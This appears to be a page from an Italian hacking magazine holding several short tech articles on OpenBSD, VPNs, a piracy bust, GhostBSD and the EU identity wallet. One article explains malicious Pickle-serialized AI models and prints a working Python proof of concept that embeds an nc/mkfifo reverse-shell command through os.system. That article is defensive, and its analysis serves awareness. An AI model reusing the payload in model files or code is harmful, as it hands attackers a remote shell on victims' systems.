Articoli
A prova di bomba: OpenBSD
Meglio di Linux per la sicurezza esiste solo OpenBSD
Per essere veramente a prova di bomba un computer deve avere due requisiti: un hardware “pulito”, cioè privo di chip spioni (perché se la cimice è a livello hardware, non c’è niente da fare), e un sistema operativo con gli attributi giusti. Nel mondo degli esperti di sicurezza le distribuzioni GNU/Linux più aggressive e meglio configurate permettono di raggiungere livelli di impenetrabilità che Windows e macOS si sognano.
C’è però un sistema operativo ancora più sicuro, soprattutto quando si impara a pilotarlo a modo: OpenBSD. Niente a che vedere con Ubuntu o simili distro vanilla, dimentichiamo le “install fest” con nuove funzionalità ogni tre mesi. OpenBSD è stabile, sicuro, ogni riga di codice è stata testata quattro volte da gruppi diversi di esperti e la documentazione è la migliore che si possa trovare su qualsiasi sistema operativo.
Una sola comunità
Nel numero 226 di Hacker Journal abbiamo già parlato di UNIX e dei suoi eredi, le Berkeley Software Distribution dell’Università della California, cioè BSD.
A differenza di Linux, che mette assieme un kernel con una serie di strati software eterogenei, le release BSD vengono sviluppate organicamente dalla stessa comunità. Questo permette una maggiore integrazione e un approccio molto più centrato sulla filosofia stessa della distribuzione. Oggi OpenBSD è la scelta di riferimento per firewall, server Web, mail server, fa parte del pacchetto di codice scelto da Microsoft per le estensioni UNIX di Windows 10.
OpenBSD è minimale, non ha una modalità d’installazione a pacchetti semplificata: ci vogliono dieci minuti per installarlo ma bisogna sapere cosa si sta facendo. Infatti OpenBSD richiede che l’utente sappia già tutto e decida passo per passo cosa fare soprattutto nell’ambito della sicurezza.
Perché installarlo
Se abbiamo già configurato un sistema come firewall, un gateway per VPN o IDS (Intrusion Detection System), abbiamo lavorato quasi sicuramente con OpenBSD. E questo è un ottimo motivo per pensare di installarlo sulla nostra macchina e farne uno dei propri sistemi operativi di riferimento, se non il principale.
Ci sono vari scenari di utilizzo di OpenBSD. Se vuoi scoprirli nel dettaglio corri in edicola e acquista Hacker Journal 228 oppure clicca qui.
Articoli
Maxi operazione contro lo streaming illegale
Smantellata una delle più grandi reti in Europa che distribuiva illegalmente film, serie TV e partite di calcio, lasciando oltre 22 milioni di abbonati senza accesso ai contenuti
Una vasta operazione contro lo streaming illegale, denominata “Taken Down“, ha smantellato una delle più grandi organizzazioni criminali transnazionali di pirateria audiovisiva in Europa. L’indagine è partita da una denuncia di Sky Italia e ha rivelato legami con la criminalità organizzata, che usava i proventi per finanziare altre attività illecite.
La rete pirata intercettava e rivendeva contenuti di piattaforme come Sky, Dazn, Mediaset, Amazon Prime, Netflix, Paramount e Disney+, violando i diritti televisivi.
I dati dell’operazione
La maxi operazione, coordinata dalla Procura di Catania e condotta dalla polizia postale con il supporto delle forze di polizia internazionali, ha coinvolto oltre 270 agenti e si è estesa anche ad alcuni Paesi europei, come Regno Unito, Romania, Svezia e Croazia. Sono state eseguite 89 perquisizioni in Italia e 14 all’estero, con 102 persone coinvolte. Nel nostro Paese i controlli effettuati da parte delle forse dell’ordine hanno toccato le seguenti città: Catania, Napoli, Bari, Palermo, Messina, Siracusa, Agrigento, Lecce, Taranto, Foggia, Brindisi, Frosinone, Roma, Latina, Cosenza, Salerno, Avellino, Caserta, Matera, Mantova, Milano, Monza-Brianza, Brescia, Torino, Alessandria, Firenze, Massa Carrara, Siena, Livorno, Pisa, Lucca, Reggio Emilia, Ferrara, Bologna, Rimini, Sud-Sardegna, Treviso, Genova, Chieti, Perugia, Macerata. In Croazia sono state emesse 11 ordinanze di custodia cautelare. Sono stati sequestrati criptovalute per oltre 1,65 milioni di euro e denaro contante per oltre 40 mila euro. Le indagini hanno individuato sedi estere in Romania e Hong Kong, dove sono stati disattivati nove server utilizzati per la diffusione del segnale piratato. L’organizzazione serviva oltre 22 milioni di utenti finali, offrendo illegalmente partite, film e serie TV, e generava profitti milionari.
Le tecniche usate dai pirati
L’inchiesta, durata oltre due anni, ha mostrato una struttura criminale complessa e ben organizzata. Gli indagati utilizzavano tecniche sofisticate per mantenere segreta l’attività, come messaggistica crittografata e documenti falsi. Grazie alla collaborazione internazionale, sono stati bloccati oltre 2.500 canali illegali e server, con un giro d’affari stimato in oltre 250 milioni di euro mensili, causando danni economici alle aziende del settore Pay TV per oltre 10 miliardi di euro l’anno.
I commenti di Sky e DAZN
Su questa maxi operazione, l’AD di Sky Italia ha rilasciato il seguente commento: “Voglio ringraziare la Procura e la Polizia Postale di Catania, Europol e l’Audiovisual Anti-Piracy Alliance per questa straordinaria operazione alla quale siamo orgogliosi di aver collaborato. I risultati raggiunti sono frutto di un grande lavoro sinergico che ha permesso di smantellare un’organizzazione criminale che operava su scala internazionale. Azioni come questa, insieme al contributo sistematico che dà Piracy Shield oscurando in tempo reale i siti pirata, rendono più efficace la lotta a un fenomeno che danneggia l’industria audiovisiva distruggendo migliaia di posti di lavoro”.
Secondo DAZN “Gli oltre 22 milioni di utenti oscurati in Europa che hanno comprato pirateria ci danno in parte l’idea di quanto questo fenomeno sia esteso e dilagante in Italia ma non solo. Oltre ai rischi in cui si incorre, come il furto della propria identità e informazioni bancarie, quanto annunciato oggi dalla Procura di Catania e dalla Polizia delle Comunicazioni in conferenza stampa conferma che chi vende e compra pirateria lascia tracce in rete indelebili; i clienti saranno quindi sanzionati oltre a poter diventare oggetto di azioni da parte dei titolari dei diritti. Siamo contenti che il supporto che ci è stato richiesto e che abbiamo dato, abbia contributo al buon esito della collaborazione”.
Leggi anche: “I migliori siti e app streaming per lo sport”
*illustrazione articolo progettata da Freepik
Articoli
Cos’è e a cosa serve una VPN
Un metodo facile per restare anonimi, proteggersi da hacker e sorveglianza e bypassare le geo-restrizioni e la censura!
Una VPN, o Virtual Private Network, è una tecnologia che consente di stabilire una connessione sicura e privata attraverso una rete pubblica come Internet. In sostanza, crea un “tunnel” criptato tra il vostro dispositivo e un server remoto, proteggendo i dati durante il loro transito e mascherando il vostro indirizzo IP reale. Questo tunnel virtuale impedisce a terzi, come il vostro provider di servizi Internet (ISP) o eventuali attori malevoli, di monitorare o intercettare le vostre comunicazioni. Il funzionamento di una VPN può essere suddiviso in diversi passaggi chiave. Quando vi connettete a essa, il software client VPN sul vostro dispositivo si collega a un server VPN situato in una posizione scelta da voi. Tutto il traffico Internet che parte dal vostro dispositivo viene criptato utilizzando algoritmi di crittografia avanzata e instradato attraverso questo server. Dopo averlo raggiunto, i dati vengono decrittati e inviati alla loro destinazione finale, come un sito Web o un servizio online. Questo processo fa sì che, dal punto di vista del destinatario, il traffico sembri provenire dal server VPN piuttosto che dal vostro dispositivo, mascherando così il vostro indirizzo IP e la vostra posizione reale e proteggendo la vostra identità online.
Origini in ambito aziendale
L’idea di base delle VPN è nata negli anni Novanta, quando Internet iniziava a diffondersi tra aziende e privati. Con l’aumento della connessione globale, si è resa necessaria la protezione dei dati che viaggiavano attraverso reti pubbliche, come Internet, spesso vulnerabili ad attacchi o intercettazioni. Il concetto di VPN è stato ispirato dalle tecnologie di tunneling, che permettevano di creare un “tunnel” sicuro all’interno di una rete pubblica. Questo cifrava i dati, rendendoli illeggibili a chiunque non avesse la chiave di decrittazione, garantendo così la privacy e la sicurezza delle comunicazioni su linee telefoniche o Internet. Un esempio pratico di questa tecnologia era il tunneling IP, che consentiva di trasportare pacchetti IP all’interno di altri protocolli di rete, come l’X.25 o l’ATM, usati nelle reti di telecomunicazione dell’epoca. Queste tecnologie erano principalmente impiegate per garantire la sicurezza delle comunicazioni tra diverse sedi di un’organizzazione senza dover effettivamente costruire una rete fisica proprietaria. Anche le VPN, inizialmente, venivano utilizzate soprattutto dalle grandi aziende per permettere ai loro dipendenti di accedere in modo sicuro alle risorse aziendali da località remote, come quando lavoravano da casa o durante i viaggi. In questo modo, un dipendente poteva collegarsi a Internet da qualsiasi luogo e, attraverso una VPN, accedere alla rete aziendale come se fosse fisicamente presente in ufficio, senza rischiare che i dati sensibili venissero intercettati.
Uno strumento utilissimo per tutti
Dai primi anni 2000, le VPN hanno iniziato a essere utilizzate anche dai privati, spinti dalla crescente consapevolezza dei rischi legati alla sicurezza e alla privacy su Internet. Una delle principali ragioni per cui le VPN sono diventate popolari tra gli utenti domestici è la loro capacità di proteggere i dati personali da potenziali minacce, come hacker, provider di servizi Internet (ISP) curiosi e altre terze parti potenzialmente pericolose. Le VPN utilizzano, infatti, come si è visto, tecniche di crittografia avanzata per cifrare il traffico dati, rendendolo praticamente illeggibile a chiunque tenti di intercettarlo. Questa protezione è particolarmente cruciale quando si utilizza una rete Wi-Fi pubblica, che è spesso vulnerabile ad attacchi di tipo Man-inthe-Middle (MITM), che consentono agli aggressori di intercettare e manipolare le comunicazioni tra due parti senza che queste se ne accorgano.
Più sicurezza, più privacy, più libertà
Oltre alla sicurezza, le VPN offrono significativi vantaggi in termini di privacy. Come abbiamo visto, mascherano l’indirizzo IP dell’utente, sostituendolo con uno appartenente al server VPN stesso, il che aiuta a mantenere l’anonimato online. Questo è particolarmente importante per gli utenti che vogliono evitare di essere tracciati dai siti Web o dagli ISP, i quali possono raccogliere dati sulle attività online per scopi commerciali o di sorveglianza. Le VPN sono anche estremamente utili per accedere a contenuti geograficamente bloccati. Molti servizi online, come le piattaforme di streaming, limitano l’accesso a determinati contenuti in base alla posizione geografica dell’utente. Utilizzando una VPN, è possibile connettersi a un server situato in un altro Paese, facendo sembrare che la connessione provenga da quella regione e sbloccando così i contenuti altrimenti non disponibili. Infine, le VPN svolgono un ruolo cruciale per bypassare la censura imposta in alcuni Paesi con restrizioni severe su Internet. In molte nazioni, l’accesso a determinati siti Web o servizi è, infatti, limitato o completamente bloccato dal governo. Le VPN permettono di aggirare queste restrizioni, fornendo un accesso senza limitazioni a informazioni e risorse globali. Non tutte le nazioni, però, consentono l’accesso alle VPN. In molti Paesi, come Bielorussia, Iraq, Corea del Nord, Oman e Turkmenistan, sono, infatti, illegali. In altri, come Cina, Egitto, India, Iran, Russia, Turchia, Emirati Arabi Uniti e Uganda, sono legali solo quelle approvate dal governo, che però sono spesso monitorate dalle autorità, il che le rende poco utili. Per chi come noi vive in Paesi liberi, però, avere una VPN permette di proteggere la propria privacy online, cifrare i dati sensibili contro possibili attacchi informatici e accedere liberamente a contenuti bloccati o censurati, in modo da poter godere di una navigazione più sicura e senza restrizioni che si sposa perfettamente con la libertà di Linux.
Leggi anche: “Addio alla privacy negli USA”
*illustrazione articolo progettata da Freepik
La Raspberry è molto versatile, ma se cerchiamo un dispositivo per creare un server casalingo e non ci interessa il GPIO, cioè il lato da maker della RP, ci sono anche altre opzioni: una delle migliori è la ZimaBoard 832.
CPU Intel, non ARM
La ZimaBoard è un SBC basato su una CPU Intel Celeron N3450 con 4 core e una frequenza di clock di 1,1-2,2 GHz. La CPU integra la scheda grafica HD Graphics 500 e a bordo dell’SBC troviamo 8 GB di RAM e come disco un eMMC da 32 GB. Su questa unità eMMC il produttore ha preinstallato CasaOS, un sistema basato su Debian 11 a cui si accede tramite un’interfaccia Web davvero molto semplice, nonché bella da vedere. La macchina è comunque compatibile con Linux, Windows, Android, LibreELEC, OpenWRT e pfSense. L’intero corpo in metallo della ZimaBoard agisce da dissipatore passivo, e lo chassis integra tutte le porte che potete leggere nella scheda qui a fianco. Da evidenziare la presenza di un connettore PCIe 2.0 4x che apre ampie possibilità di espansione. Difatti dal sito del produttore possiamo acquistare alcune schede d’espansione per collegare più unità SSD (anche NVMe) o per avere più porte di rete o HDMI.
Ma cosa ci faccio?
In breve… di tutto. La scheda supporta la virtualizzazione e da qui ad arrivare a Docker e container installando Portainer il passo è breve. La presenza di due porte di rete Gigabit ne suggerisce l’uso come firewall, per esempio, o come strumento per bloccare le pubblicità con PiHole. Oppure il poter collegare due unità SSD ci fa pensare a un ottimo sistema di backup per le altre macchine della nostra rete o all’installazione di Nextcloud, così da creare un nostro cloud personale con funzioni di collaborazione. O ancora, la capacità di transcodifica e decodifica video ne implica l’uso come media center installando Plex o Emby. E non mancano neanche le app per la smart home (Home Assistant), per lo scaricamento di file (JDownloader 2 e Transmission), per l’IA (Stable Diffusion)… e altro ancora. Tutte queste funzioni sono attivabili semplicemente installando e configurando la relativa app dall’interfaccia grafica di CasaOS, super semplice, e il tutto considerando che i consumi energetici sono limitati a circa 6W. Per saperne di più guardate questo video.
Specifiche tecniche
CPU: Intel Celeron N3450 con 4 core a 1,1- 2,2 GHz
Memoria: 8 GB
Archiviazione: eMMC da 32 GB
Connettività: 2 Gigabit Ethernet
Connettori: 1 Mini-DisplayPort 1.2 4K@60Hz, 2 USB 3.0, 1 PCIe 2.0 x4, 2 SATA 6 Gbit/s
Consumi: 6W
Leggi anche: “Armadillo Firewall Hardware protezione USB“
Articoli
Le regole per l’identità digitale europea
A che punto siamo con la creazione del portafoglio per l’identità digitale: a cosa serve e quando entrerà in vigore
L’Europa ha deciso: il futuro dei documenti personali è digitale. La trasformazione, che segue quella già in corso negli Stati Uniti, dove non hanno l’equivalente della nostra carta d’identità e da tempo in alcuni Stati è possibile usare la versione digitale della patente di guida.
Nell’ambito europeo, questo compito risulta più complesso, poiché l’obiettivo è più orientato ad adattarsi al cambiamento piuttosto che imporlo. Si tratta di creare regole comuni in modo che l’intera Unione Europea possa beneficiare dello stesso sistema, il quale deve essere anche interoperabile per consentire ai cittadini degli stati membri di viaggiare per turismo e lavoro, nonché di trasferirsi da un Paese all’altro senza dover affrontare cambiamenti tecnologici significativi.
Le regole (digitali) comuni
Quindi, il lavoro che l’Europa sta facendo in questo periodo è ratificare le normative di base che servono a creare l’identità digitale europea, la cosiddetta eID o EUDI wallet.
L’obiettivo è che ciascuno Stato membro, aderendo agli standard condivisi, offra ai suoi cittadini e alle aziende dei wallet (portafogli) digitali, cioè app con dietro un servizio cloud che permetta di collegare le identità digitali nazionali al completo: dalla carta di identità alla patente di guida, dalle qualifiche professionali (come l’iscrizione a un albo o a una determinata mansione) alla carta europea della disabilità.
Queste norme serviranno per l’identificazione, ma anche per semplificare lo scambio di informazioni, limitando quelle visibili alla controparte a ciò che è strettamente necessario.
In rete e per strada
Il portafoglio di identità digitale europea, il cui standard tecnologico è in corso di sviluppo ma che negli obiettivi sarà retro-compatibile con i servizi nazionali (come l’IT-Wallet italiano), permetterà ai cittadini di fare sostanzialmente due cose: disporre di un documento di riconoscimento in formato digitale in tasca, e avere una forma di identità digitale per autenticarsi in Rete.
Inoltre, è un vantaggio del mondo digitale: non solo il portafoglio dell’identità digitale europea permetterà di identificarsi e accedere ai servizi pubblici e privati, ma anche di avere un punto di vista unico su tutte le transazioni fatte dal titolare, sia online che offline. In questo modo, consultando un’app, ogni cittadino potrà vedere quali pagamenti ha fatto o deve fare, in quali transazioni ha partecipato, chi ha avuto accesso ai suoi dati, quando e quali. Ciò aumenterà la protezione dei dati e della privacy perché consentirà di segnalare subito qualsiasi violazione. Inoltre, il wallet funzionerà anche da firma elettronica per autenticare atti e documenti in formato digitale, anche tra privati.
Manca ormai poco
I tempi per gli standard dell’Unione Europea, sono veloci. Da qui al 2026 la normativa prevede che gli Stati membri dovranno fornire i wallet elettronici sulla base dello standard stabilito dalle normative comuni, e accettare i portafogli virtuali dei cittadini di altri Stati.
Inoltre, per evitare discriminazioni, l’adesione al wallet europeo sarà facoltativa, mentre l’emissione, l’uso e la revoca saranno sempre gratuiti per tutte le persone fisiche. Come se non bastasse, il software sarà prevalentemente open source. In questo modo, si pensa a Bruxelles, la trasformazione digitale europea sarà socialmente sostenibile e condivisa da tutti.
Articoli
Disponibile GhostBSD 24.07.3
Un sistema operativo desktop user-friendly basato su FreeBSD con molte novità. Vediamole assieme.
La missione dichiarata dei creatori di GhostBSD è quella di realizzare un sistema operativo semplice ed elegante, che possa soddisfare tutte le vostre esigenze informatiche. Per raggiungere questo obiettivo hanno deciso di affidarsi al solido codice FreeBSD e all’interfaccia utente GTK. Il risultato finale è più che mai positivo e, come vedrete, imparare a orientarsi risulterà molto facile.
Novità di questa versione
La stragrande maggioranza delle novità di un sistema operativo appena rilasciato si trova sotto il cosiddetto cofano e GhostBSD non fa eccezione. Ciò può non dare immediatamente all’utente un senso di progresso, tuttavia la maggiore stabilità che si ottiene viene comunque percepita. Nel caso di GhostBSD, può essere considerata un vero cambio di rotta l’implementazione dei pacchetti PkgBSD di FreeBSD. Inoltre sono stati apportati miglioramenti a NetworkMGR, il gestore di rete basato su Python. Sul fronte della sicurezza, che non va mai sottovalutata nella scelta di un sistema operativo, sono stati introdotti in OpenSSH aggiornamenti che risolvono delle vulnerabilità note. Naturalmente queste sono solo le novità principali, tuttavia un notevole lavoro è stato fatto anche per aggiornare tutto il software messo a disposizione degli utenti fin dal momento dell’installazione.
Panoramica di GhostBSD
La Scrivania del sistema operativo si presenta con tre icone. Computer è quella che fa accedere all’intero contenuto del disco rigido e Home di… visualizza la vostra cartella personale, sotto la quale c’è il classico Cestino. In basso c’è il Pannello nel quale potrete aggiungere i lanciatori delle applicazioni che usate più spesso. Sulla sua sinistra c’è il pulsante che nasconde contemporaneamente tutte le finestre aperte per visualizzare la Scrivania. Sulla destra ci sono i selettori degli Spazi di lavoro. Il Pannello superiore è invece molto più ricco. A destra infatti ci sono i controlli del volume, della connessione di rete, del calendario e dell’orologio, mentre a sinistra ci sono i tre menu del sistema operativo: Applicazioni, Risorse e Sistema. Nel primo troverete sei menu tematici, come Audio e video, che contengono programmi come Rhythmbox e Firefox. Nel secondo ci sono i collegamenti per accedere alle cartelle principali o alla gestione della rete. Nel terzo, oltre ai classici comandi di riavvio, spegnimento e cambio di utente, ci sono alcuni menu molto utili. Preferenze contiene tutto ciò che vi serve per personalizzare il sistema operativo. Centro di controllo è uno strumento per gestire e modificare in modo immediato e molto comodo tutti gli aspetti di GhostBSD. In Amministrazione, invece, avrete a disposizione l’utilità per fare i backup, le Impostazioni di stampa, ma soprattutto il lanciatore per controllare il rilascio di aggiornamenti e quello per avviare la Software Station. Qui troverete centinaia di applicazioni gratuite, elencate per gruppi tematici, che potrete installare in GhostBSD. Il sistema operativo può essere scaricato da qui.
Avviare la configurazione
Quando vedete il GRUB con le varie opzioni disponibili, premete Invio o aspettate che la procedura si avvii automaticamente dopo alcuni secondi. Una volta caricata la versione Live del sistema operativo, per installarla sul vostro disco rigido, fate un doppio clic sull’icona Install GhostBSD.
Lingua e tastiera
Nella prima schermata, scorrete l’elenco delle lingue nel pannello a sinistra e selezionate Italiano, quindi fate clic su Next. In Keyboard Setup, a sinistra dovete selezionare Italian mentre nell’elenco a destra dovete indicare il modello della vostra tastiera. Se non lo conoscete, sceglietene uno Generic.
Fuso orario e tipo di installazione
Fate clic su Next per visualizzare la schermata Time Zone Selection. A sinistra selezionate Europe e poi scorrete l’elenco a destra per trovare Rome. Scegliete questa opzione e poi premete su Next. In Installation Type, lasciate selezionato Full disk configuration e fate clic su Next.
Disco rigido e utente
Nella schermata successiva, scegliete il disco rigido su cui volete installare il sistema operativo e fate clic su Next. In Boot Option, lasciate selezionata l’opzione predefinita e premete su Next. In User Admin Setup, compilate il primo campo con il vostro nome, poi il terzo e il quarto con la password.
Installazione e riavvio
Fate clic su Install per avviare l’installazione vera e propria di GhostBSD. Al termine, premete su Restart nella finestra che appare. Ricordate di rimuovere il supporto con il file ISO per non ricaricare la versione Live del sistema operativo, così accederete direttamente a quella appena installata.
Primo avvio
Per prima cosa dovete digitare la vostra password per accedere a GhostBSD, dopodiché viene visualizzato il desktop. In alto, fate clic sul menu Sistema e in Amministrazione premete su Update Station per cercare eventuali aggiornamenti disponibili, che è utile installare.
Leggi anche: “NewsRansomware Hive crittografa i sistemi Linux e FreeBSD“
Articoli
Cervelli biologici sotto sale
Se fino a qualche anno fa tutti dovevano mettere le mani su una blockchain, ormai la nuova novità è l’intelligenza artificiale, in particolare i modelli generativi. In realtà la tecnologia non è così nuova: l’intelligenza artificiale esiste, sostanzialmente, da quando esistono i computer. Persino le reti neurali generative non sono una cosa particolarmente nuova. Il motivo per cui hanno avuto un improvviso successo è che sono finalmente diventate abbastanza efficienti da poterci fare davvero qualcosa. Il problema di simulare un cervello biologico è sempre stato l’enorme numero di operazioni da svolgere, soprattutto per l’allenamento della rete neurale, e procedendo sequenzialmente come fa una CPU ci vuole troppo tempo. Ma, da alcuni anni, le GPU hanno raggiunto un grado di sviluppo per cui ogni volta che ne viene rilasciata una nuova generazione (ogni 2 anni, circa) riesce a eseguire almeno 20 o 30 volte il numero di operazioni parallele di quella precedente. Questo permette oggi l’allenamento di reti neurali con decine di miliardi di neuroni in un tempo ragionevolmente breve (misurabile in ore, che varia a seconda dei casi), invece di impiegare anni, anche usando delle schede grafiche “consumer”. Naturalmente si tratta pur sempre di oggetti costosi, da alcune migliaia di euro, ma è un investimento tutto sommato abbordabile. Soprattutto per le aziende, che non vedono l’ora di appiccicare il bollino “made with AI” ai loro prodotti.
C’è in realtà un’altra cosa che, soprattutto nell’ultimo anno, ha dato un forte impulso proprio ai modelli generativi, cioè i modelli di rete neurale allenati per generare dei contenuti (immagini, musica, e testi). E questa cosa, come spesso capita, è la filosofia open source. Le principali aziende che hanno investito in questa tecnologia hanno, infatti, capito che il modo migliore per continuare a innovare è invogliare sviluppatori e appassionati da tutto il mondo a collaborare con nuove idee. È in questa logica che una piattaforma come HuggingFace ha trovato il proprio successo: sulla sua community è possibile pubblicare i propri modelli di rete neurale, provarli, e scaricare quelli di altri utenti. Questo permette a chiunque di non dover partire da capo, ma di prendere un modello preesistente e poi allenarlo con i propri dati, per adattarlo alle proprie necessità.
Naturalmente, alla fine si tratta in buona parte di un grosso “repository”, dal quale scaricare modelli per l’IA, un po’ come GitHub è un grosso contenitore in cui chiunque può caricare qualsiasi cosa. Sta all’utente assicurarsi di scaricare solo software fidato, invece di installare sul proprio sistema il primo malware che capita. E questo vale anche per i modelli IA.
Tanti numeri in fila per uno
È molto importante capire che, semplificando un po’, alla fine un “modello” di IA è una collezione di “pesi”, cioè una sfilza di numeri che stabilisce come siano collegati tra loro i neuroni della rete. Cambiando i pesi, la rete neurale si comporta in modo diverso. È meno prevedibile del cambiare una riga di codice in un programma tradizionale ma, alla fine dei conti, non è altro che un algoritmo che esegue operazioni sulla CPU (o sulla GPU, ma l’inferenza funziona bene anche su CPU). Essendo molto complesso e poco prevedibile, è improbabile (seppure non impossibile), che qualcuno possa realizzare un malware cambiando a mano i pesi di un modello. Almeno al giorno d’oggi.
Ma non è tutto qui: c’è un dettaglio importante del meccanismo di memorizzazione e condivisione dei modelli per Python, il linguaggio di programmazione più diffuso per l’intelligenza artificiale. Un dettaglio che può offrire a un malintenzionato la possibilità di eseguire direttamente comandi sul sistema su cui viene caricato il modello, fino a prenderne il controllo remoto. Hugging Face supporta i principali motori per AI basati su Python, in particolare TensorFlow e PyTorch. I modelli caricati su HF sono degli archivi che contengono diversi file. Uno di questi è il config.json, che contiene le informazioni necessarie per configurare il motore (per esempio PyTorch) con la corretta struttura prevista della rete neurale che si vuole creare. Un altro file importante è il modello vero e proprio, il set dei pesi della rete neurale, che viene memorizzato nel formato Pickle.
Pickle è un “serializzatore” per oggetti Python. Il modello, infatti, non è altro che un array multidimensionale, e per scriverlo su un file bisogna mettere in serie tutti i vari numeri. Sostanzialmente, un po’ come la prospettiva è uno strumento per rappresentare su un foglio degli oggetti tridimensionali. Pickle è un formato binario piuttosto flessibile, si possono serializzare non solo oggetti “statici” come gli array, ma anche intere funzioni: all’interno del file vengono infatti scritte delle istruzioni in una sorta di bytecode, che è molto più efficiente per il caricamento nella RAM rispetto a leggere da un file JSON oppure all’interpretazione di codice Python. Per esempio, un semplice array monodimensionale si può serializzare così:
pickled = pickle.dumps([‘pickle’, ‘me’, 1, 2, 3])
E il bytecode Pickle risultante è questo:
0: \x80 PROTO 4
2: \x95 FRAME 25
11: ] EMPTY_LIST
12: \x94 MEMOIZE (as 0)
13: ( MARK
14: \x8c SHORT_BINUNICODE ‘pickle’
22: \x94 MEMOIZE (as 1)
23: \x8c SHORT_BINUNICODE ‘me’
27: \x94 MEMOIZE (as 2)
28: K BININT1 1
30: K BININT1 2
32: K BININT1 3
34: e APPENDS (MARK at 13)
35: . STOP
Per un array così semplice sembra uno spreco, ma in realtà per oggetti molto più grandi (i modelli AI pesano spesso molti GigaByte) questo meccanismo rende molto più efficiente il caricamento. Questo però significa che in un file Pickle è possibile inserire qualunque tipo di istruzione, eventualmente anche codice malevolo. Questa non è di per sé una vulnerabilità, è solo una caratteristica di questo formato. La vulnerabilità sta nel comportamento degli utenti: bisogna capire che Pickle è un formato binario, difficile da “disassemblare”, e quindi i modelli per AI devono essere trattati come delle “blackbox”. Cioè, devono essere considerati come sempre potenzialmente pericolosi, e bisogna scaricarli solo da fonti sicure, esattamente come si farebbe per un programma binario. Bisogna, insomma, sempre ricordare che si sta eseguendo un software sul proprio sistema, quindi è necessario essere sicuri che questo non faccia nulla di malevolo. Infatti, inserire degli shellcode in un file Pickle è estremamente semplice:
import pickle
import base64
import os
class RCE:
def __reduce__(self):
cmd = (‘rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | ‘
‘/bin/sh -i 2>&1 | nc 127.0.0.1 1234 > /tmp/f’)
return os.system, (cmd,)
if __name__ == ‘__main__’:
pickled = pickle.dumps(RCE())
Che poi viene tradotto nel file pkl più o meno in questo modo:
0: \x80 PROTO 4
[…]
376: R REDUCE
377: q BINPUT 37
379: X BINUNICODE ‘ignore’
390: q BINPUT 38
392: c GLOBAL ‘posix system’
406: q BINPUT 39
408: X BINUNICODE “rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 127.0.0.1 1234 > /tmp/f”
474: q BINPUT 40
476: \x85 TUPLE1
477: q BINPUT 41
479: R REDUCE
480: q BINPUT 42
482: u SETITEMS (MARK at 33)
Quello che stiamo serializzando non è semplicemente la stringa del comando shell da eseguire, ma proprio la chiamata alla funzione os.system, quindi Pickle quando esegue il bytecode finisce per lanciare direttamente il comando sulla shell di sistema. A essere inserito nel file Pickle è infatti proprio il codice della funzione os.system se scriviamo:
return os.system()
la funzione viene eseguita e otteniamo solo il suo output.
Se invece scriviamo:
return os.system
otteniamo un puntamento alla funzione stessa, pronta per essere eseguita in un secondo momento. E quel momento arriva quando il Pickle viene deserializzato e caricato in memoria. I ricercatori di Wiz, società di sicurezza informatica, hanno provato a prendere addirittura un modello realmente funzionante, GPT2, e aggiungere delle istruzioni alla fine, proprio per eseguire dei comandi sulla shell. E funziona perfettamente, senza nemmeno provocare errori durante il caricamento nella rete neurale di PyTorch. Questo significa che l’utente che scarica e esegue il modello sul proprio PC o server non si accorge nemmeno di quello che sta succedendo: dal suo punto di vista, il modello linguistico funziona correttamente.
Entità della vulnerabilità
Visto il gran numero di utenti e aziende che provano a utilizzare reti neurali generative, e visto che i modelli Pickle per PyTorch sono di fatto il principale standard in questo campo, il pericolo è piuttosto diffuso. Ma è importante ricordare che non tutti i modelli disponibili su HuggingFace sono malevoli. In particolare, non lo sono di certo quelli prodotti da grandi aziende o da community open source. Sicuramente, il fatto che siano binari rende difficile persino per i gestori di Hugging Face scansionarli alla ricerca di malware. E, considerando anche il fatto che i modelli generativi vengono tipicamente, utilizzati su macchine (fisiche o virtuali) piuttosto potenti, c’è il rischio che qualche malintenzionato possa mettere in circolare un modello che gli offre delle shell remote, per ritrovarsi così con una grossa botnet al suo comando.
La soluzione
Essendo questa possibilità di inserire chiamate di sistema dentro un file Pickle, una normale caratteristica del formato, non c’è una vera soluzione. L’unico modo per essere protetti è una catena di fiducia tra tutti i vari passaggi, dal primo autore del modello a chi lo ha integrato allenandolo con altri dataset. Spesso, infatti, si trovano versioni “personalizzate” di modelli pubblicamente disponibili, più adatte a qualche particolare contesto (per esempio, allenate con documenti medici, oppure sportivi). È spesso questi modelli vengono rielaborati e integrati a loro volta. Ma basta che uno di questi “intermediari” non sia affidabile per rendere potenzialmente insicuro il modello finale. Bisogna ripensare ai tempi in cui si scaricavano eseguibili crackati da eMule: quante volte è capitato di provare a eseguire l’ultima versione di Photoshop, solo per accorgersi che in realtà (nella migliore delle ipotesi) era uno spyware che farciva il browser di banner e popup, magari inviando anche email di spam a tutti i contatti? Quando utilizziamo un software senza conoscerne la provenienza dobbiamo sempre mettere in conto la possibilità che chi ce lo ha condiviso possa averci inserito un malware. Un modo per, letteralmente, contenere i potenziali danni è la containerizzazione. Se, infatti, PyTorch e il modello vengono caricati dentro un container a se stante, separato dal resto delle applicazioni che lo andranno a utilizzare, è possibile limitare le risorse che potrà utilizzare, eventualmente impedirne l’accesso a internet (evitando shell remote), e soprattutto evitare un accesso diretto a file sensibili (che verranno passati al momento via API e tenuti in memoria solo per il tempo di elaborazione).
A cura di Luca Tringali
Leggi anche: “La cybersecurity nell’era dell’IA“
Articoli
Come migliorare la velocità del sito WordPress con un hosting ottimizzato
La nostra è l’epoca digitale per eccellenza. Ciò significa che la maggior parte di noi non solo usa internet come utente, ma anche e soprattutto per spirito imprenditoriale. E chi gestisce o intende aprire un sito WordPress non può sottovalutare un aspetto in particolare: la velocità.
Premessa: la velocità influenza l’esperienza del sito a 360°. Non solo migliora il tempo di caricamento, ma dà la possibilità agli utenti di navigare sul sito senza intoppi. Cosa fanno gli utenti quando il sito carica in modo lento? Ne trovano un altro.
C’è un modo, però, per migliorare questo aspetto: l’hosting ottimizzato. Questo servizio, appositamente progettato, offre prestazioni elevate per i siti WordPress. Un esempio concreto è l’hosting di Serverplan, che non solo garantisce tempi di caricamento rapidi, ma integra anche un nuovo sitebuilder AI, incluso in alcuni piani. Questo strumento permette di creare e personalizzare il proprio sito in modo semplice e intuitivo, sfruttando l’intelligenza artificiale per ottimizzare automaticamente la struttura e le prestazioni del sito, senza richiedere competenze tecniche avanzate.
Visita questa pagina per scoprire le soluzioni di hosting WordPress offerte da Serverplan e il nuovo sitebuilder AI, ideale per migliorare la tua presenza online con un sito veloce ed efficiente.
